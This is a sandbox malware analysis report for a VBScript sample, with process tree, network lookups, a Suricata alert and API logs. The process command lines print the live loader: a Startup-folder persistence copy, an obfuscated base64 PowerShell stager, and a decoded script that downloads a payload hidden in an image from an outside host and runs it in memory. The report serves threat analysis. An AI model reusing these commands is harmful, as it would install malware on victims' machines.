popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

HWX.vbs

Generic Malware Antivirus Hide_URL PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 1, 2023, 9:04 a.m. Sept. 1, 2023, 9:06 a.m.
Size 269.3KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 eff515cd80fca123c65f7ed20d7f071f
SHA256 26176205211fdce7ad34cf10d72f178f1646e913e368f0f5bcc325e5428a69cc
CRC32 780AD9CD
ssdeep 6144:t7jmLQQJm7ILm5BmZMLpRKsEAlOb4b5bdZ7ZmZ8Z7V:t7jmLQQJm7ILm5BmZMLp4sEAT
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\HWX.vbs

    2560

    • cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\test22\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"

      2728

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DYChr(63)&Chr(63)MwChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)MgChr(63)&Chr(63)xChr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBuChr(63)&Chr(63)GkChr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)cwBvChr(63)&Chr(63)F8Chr(63)&Chr(63)dgBiChr(63)&Chr(63)HMChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQBnChr(63)&Chr(63)D8Chr(63)&Chr(63)MQChr(63)&Chr(63)2Chr(63)&Chr(63)DkChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)MQChr(63)&Chr(63)4Chr(63)&Chr(63)DUChr(63)&Chr(63)NQChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B3Chr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BOChr(63)&Chr(63)GUChr(63)&Chr(63)dwChr(63)&Chr(63)tChr(63)&Chr(63)E8Chr(63)&Chr(63)YgBqChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBOChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)LgBEChr(63)&Chr(63)G8Chr(63)&Chr(63)dwBuChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)RChr(63)&Chr(63)BhChr(63)&Chr(63)HQChr(63)&Chr(63)YQChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FUChr(63)&Chr(63)cgBsChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RQBuChr(63)&Chr(63)GMChr(63)&Chr(63)bwBkChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)FUChr(63)&Chr(63)VChr(63)&Chr(63)BGChr(63)&Chr(63)DgChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BTChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)FMChr(63)&Chr(63)VChr(63)&Chr(63)BBChr(63)&Chr(63)FIChr(63)&Chr(63)VChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)EUChr(63)&Chr(63)TgBEChr(63)&Chr(63)D4Chr(63)&Chr(63)PgChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgChr(63)&Chr(63)4Chr(63)&Chr(63)DkChr(63)&Chr(63)cQB1Chr(63)&Chr(63)GwChr(63)&Chr(63)LwBsChr(63)&Chr(63)HQChr(63)&Chr(63)LwChr(63)&Chr(63)3Chr(63)&Chr(63)DYChr(63)&Chr(63)MQChr(63)&Chr(63)uChr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)xChr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)1Chr(63)&Chr(63)DEChr(63)&Chr(63)LgChr(63)&Chr(63)0Chr(63)&Chr(63)DkChr(63)&Chr(63)LwChr(63)&Chr(63)vChr(63)&Chr(63)DoChr(63)&Chr(63)cChr(63)&Chr(63)B0Chr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)HYChr(63)&Chr(63)bwBrChr(63)&Chr(63)GUChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)G4Chr(63)&Chr(63)dQBsChr(63)&Chr(63)GwChr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD

      3008

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.89qul/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"

        2056

Name Response Post-Analysis Lookup
apps.identrust.com
A 182.162.106.33
CNAME a1952.dscq.akamai.net
A 182.162.106.32
CNAME identrust.edgesuite.net
23.67.53.27
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
172.67.215.45
IP Address Status Action
164.124.101.2 Active Moloch
172.67.215.45 Active Moloch
182.162.106.33 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49170 -> 172.67.215.45:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49170
172.67.215.45:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br 67:68:c4:e4:aa:54:e1:fd:f0:50:01:73:1e:da:cf:48:0c:17:0d:34

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleA

 buffer: Pinging 127.0.0.1
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: with 32 bytes of data:
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: Reply from 127.0.0.1:
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: bytes=32
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: time<1ms
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: TTL=128
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: Reply from 127.0.0.1:
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: bytes=32
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: time<1ms
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: TTL=128
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: Reply from 127.0.0.1:
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: bytes=32
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: time<1ms
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: TTL=128
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: Reply from 127.0.0.1:
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: bytes=32
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: time<1ms
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: TTL=128
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: Reply from 127.0.0.1:
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: bytes=32
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: time<1ms
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: TTL=128
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: Ping statistics for 127.0.0.1: Packets: Sent = 5, Received = 5, Lost = 0 (0% loss),
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:185
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/unive
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: rso_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageByt
console_handle: 0x0000005f
1 1 0

WriteConsoleW

